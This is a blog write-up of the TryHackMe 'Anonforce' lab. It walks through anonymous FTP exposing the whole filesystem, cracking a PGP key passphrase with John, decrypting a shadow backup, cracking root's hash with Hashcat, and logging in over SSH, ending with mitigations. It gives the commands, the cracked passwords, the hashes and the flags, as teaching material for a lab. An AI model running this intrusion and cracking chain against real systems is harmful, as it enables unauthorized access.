DEV Community

Farhan Hussain
Farhan Hussain

Posted on

Anonforce — TryHackMe

Platform: TryHackMe · Difficulty: Easy · Category: Anonymous FTP / PGP Decryption / Hash Cracking

Introduction

Anonforce skips the entire "web application with subtle vulnerabilities" phase and goes straight to "here is the entire filesystem, help yourself." Anonymous FTP doesn't just expose a note or a key this time — it exposes everything: /etc, /home, /root, the whole hierarchy, readable and navigable like any other directory. The only thing standing between anonymous and root credentials is a GPG passphrase that John cracks in seconds. This is less a penetration test and more a guided tour. The door is labelled FTP and it was left wide open.

Recon

Full-range sweep with RustScan, Nmap for service and version fingerprinting:

rustscan -a 10.49.164.9 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV
Enter fullscreen mode Exit fullscreen mode
Port Service Version
21/tcp FTP vsftpd 3.0.3 — anonymous login allowed
22/tcp SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.8

No HTTP port, confirmed by a Feroxbuster attempt that immediately failed to connect. This is a two-service box and the entire story begins and ends with FTP.

Nmap's ftp-anon script does something unusual here — it doesn't just flag anonymous login as allowed, it lists out the root directory of the FTP share:

| drwxr-xr-x   85 0        0            4096 Aug 13  2019 etc
| drwxr-xr-x    3 0        0            4096 Aug 11  2019 home
| drwxrwxrwx    2 1000     1000         4096 Aug 11  2019 notread  [NSE: writeable]
| drwx------    3 0        0            4096 Aug 11  2019 root
Enter fullscreen mode Exit fullscreen mode

That's not a subdirectory of FTP storage — that's /bin, /boot, /etc, /home, the server's actual root filesystem, mounted as the FTP root. The notread directory stands out immediately: world-readable and world-writable, owned by uid 1000. root is listed too, though drwx------ suggests ftp probably can't actually read into it. One thing at a time.

Foothold

Connecting with anonymous login:

ftp 10.49.164.9
# Name: anonymous
# Password: (blank)
# 230 Login successful.
Enter fullscreen mode Exit fullscreen mode

The FTP root is the server's /:

ftp> ls
# bin  boot  dev  etc  home  lib  notread  opt  root  tmp  usr  var ...
Enter fullscreen mode Exit fullscreen mode

This is about as severe as FTP misconfiguration gets. When the service is chrooted to the server's actual filesystem root instead of a dedicated, restricted directory, every file the FTP service user can read becomes accessible to any anonymous visitor — the difference between leaving a note on the doorstep and leaving the front door open with a map to the safe inside.

Navigating straight to melodias's home directory:

ftp> cd /home/melodias
ftp> ls
# -rw-rw-r--    1 1000     1000           33 Aug 11  2019 user.txt
ftp> get user.txt
Enter fullscreen mode Exit fullscreen mode
cat user.txt
Enter fullscreen mode Exit fullscreen mode
606083fd33beb1284fc51f411a706af8
Enter fullscreen mode Exit fullscreen mode

User flag collected without touching SSH at all. No credentials, no shell, no escalation required — just FTP navigation.

Then the directory Nmap had already flagged:

ftp> cd /notread
ftp> ls
# -rwxrwxrwx    1 1000     1000          524 Aug 11  2019 backup.pgp
# -rwxrwxrwx    1 1000     1000         3762 Aug 11  2019 private.asc
ftp> mget backup.pgp private.asc
Enter fullscreen mode Exit fullscreen mode

Two files. backup.pgp is a PGP-encrypted archive; private.asc is an ASCII-armoured PGP private key. The pairing is obvious — the private key decrypts the backup. The slightly surreal part is both are sitting in the same directory, world-readable, permissions rwxrwxrwx. Whoever set this up was not thinking much about defence in depth.

PGP uses an asymmetric key pair — public to encrypt, private to decrypt — and the private key itself is protected by a passphrase. Even with the key file in hand, you still need that passphrase. gpg2john extracts the passphrase hash from the key file in a format John the Ripper understands:

gpg --import private.asc
gpg2john private.asc > hash.txt
Enter fullscreen mode Exit fullscreen mode

John silently returned nothing on the first run — the hash was already sitting in the potfile from a prior session (the same gotcha I'd already hit once on Mustacchio). Checking the potfile directly:

john hash.txt --show
Enter fullscreen mode Exit fullscreen mode
anonforce:xbox360:::anonforce <melodias@anonforce.nsa>::private.asc

1 password hash cracked, 0 left
Enter fullscreen mode Exit fullscreen mode

PGP passphrase: xbox360. The key identity anonforce <melodias@anonforce.nsa> is a nice bit of box flavour — the .nsa domain is doing a lot of thematic work.

Decrypting the backup with the now-usable key:

gpg --decrypt backup.pgp
Enter fullscreen mode Exit fullscreen mode
gpg: encrypted with elg512 key, ID AA6268D1E6612967
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
Enter fullscreen mode Exit fullscreen mode
# decrypted output (relevant entries)
root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7:::
melodias:$1$xDhc6S6G$IQHUW5ZtMkBQ5pUMjEQtL1:18120:0:99999:7:::
Enter fullscreen mode Exit fullscreen mode

backup.pgp turns out to be a backup of /etc/shadow, now fully decrypted. Root's hash format is $6$ — sha512crypt. The CAST5 warning is harmless, just a cipher-preference mismatch advisory between the key and the algorithm actually used on the file.

Shell / Access

$6$ means sha512crypt, which is Hashcat mode 1800 — a slow, properly iterated hash, 5000 rounds by default. Hashcat's own estimate was 7+ hours at ~514 H/s on CPU, but the password showed up in rockyou.txt early enough to crack in 12 seconds flat.

echo '$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0' > root_hash.txt
hashcat -m 1800 -a 0 root_hash.txt /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode
$6$07nYFaYf$...:hikari

Status: Cracked
Progress: 6720/14344385 (0.05%)
Time: 12 seconds
Enter fullscreen mode Exit fullscreen mode

Root password: hikari. Only 6720 candidates into the wordlist — for a box whose entire premise is "here's root's shadow hash," that's an appropriately swift ending.

ssh root@10.49.164.9
# Password: hikari
Enter fullscreen mode Exit fullscreen mode
root@ubuntu:~# cat root.txt
f706456440c7af4187810c31c6cebdce
Enter fullscreen mode Exit fullscreen mode

Exploitation — The Full Chain

  1. Anonymous FTP with filesystem root exposed → navigated directly to /home/melodias/user.txt → user flag
  2. /notread/ contained backup.pgp (encrypted shadow) + private.asc (PGP private key)
  3. gpg2john + John cracked PGP passphrase → xbox360
  4. gpg --decrypt backup.pgp → plaintext /etc/shadow backup with root's sha512crypt hash
  5. Hashcat mode 1800 cracked root hash → hikari
  6. SSH as root → root flag

Rabbit Holes

John the Ripper going silent. john --wordlist=rockyou.txt hash.txt returned "No password hashes left to crack" on both attempts, which for about thirty seconds reads like failure. It wasn't — the hash had already been cracked and was sitting in John's potfile from a prior run (or the key had been imported before). john hash.txt --show gave the answer immediately. Same gotcha as Mustacchio: John's silence means "check --show," never "uncrackable."

melodias's hash ($1$). The decrypted shadow backup also contains melodias's hash, $1$ — MD5crypt, Hashcat mode 500, weaker than root's $6$ and theoretically crackable too. There was no need to bother: the root path was already open, and SSH as root bypasses any reason to touch the user account. Noted for completeness and left alone.

Flags

Flag Value Location
User 606083fd33beb1284fc51f411a706af8 /home/melodias/user.txt (read directly via FTP)
Root f706456440c7af4187810c31c6cebdce /root/root.txt

Mitigations

Vulnerability Severity Mitigation
Anonymous FTP with filesystem root as FTP root Critical Never configure FTP with / as the chroot; use a dedicated, isolated FTP directory with only intended files; disable anonymous access entirely if not required
Sensitive PGP-encrypted backup exposed in world-readable directory Critical Store backups outside the FTP tree; apply strict permissions (700 or 600); never co-locate a private key with the data it protects
Weak PGP key passphrase (xbox360) in rockyou.txt High Use a long, randomly generated passphrase for any key protecting sensitive data
Root's shadow hash in an accessible backup Critical Never back up /etc/shadow to an FTP-accessible location; restrict shadow file access to root only and audit backup procedures regularly
Weak root password (hikari) cracked in 12 seconds Critical Use a long, randomly generated root password; consider disabling direct root SSH login (PermitRootLogin no) and requiring sudo from a non-root account

Key Takeaway

Anonymous FTP is almost never appropriate for production systems, but it's especially catastrophic when the FTP root is the server's filesystem root. That combination turns an unauthenticated network service into a complete read-access backdoor to every world-readable file on the machine. Always scope FTP shares to the minimum necessary directory — never /.


Room: TryHackMe — Anonforce

Top comments (0)